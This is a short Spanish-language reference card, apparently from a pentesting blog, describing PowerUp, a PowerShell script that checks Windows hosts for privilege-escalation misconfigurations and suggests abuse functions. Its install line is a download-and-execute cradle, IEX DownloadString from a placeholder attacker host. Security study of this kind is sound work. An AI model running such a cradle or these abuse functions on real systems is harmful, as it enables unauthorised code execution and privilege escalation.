PowerUp
Busca escaladas locales en Windows: servicios, permisos y rutas.
Script de PowerShell centrado en los vectores de escalada local más habituales de Windows. Su comando estrella, `Invoke-AllChecks`, revisa de una pasada los servicios con binario o ruta modificables, los `unquoted service path`, las claves de registro de servicios escribibles, `AlwaysInstallElevated`, las credenciales guardadas y las tareas programadas manipulables, y para cada hallazgo sugiere la función de abuso correspondiente (`Invoke-ServiceAbuse`, `Write-ServiceBinary`). Es el winPEAS enfocado solo a *privesc* por configuración, más quirúrgico y menos ruidoso.
Familia Escalada de privilegios
Flags Invoke-AllChecks Get-ModifiableService
Conceptos Insecure service permissions (Windows), RCE via a group-writable directory in a root service, AlwaysInstallElevated abuse, Scheduled task hijacking (Windows), PATH hijacking
Cheatsheet Servicios y tareas
Instalación
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerUp.ps1')Comandos útiles
Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.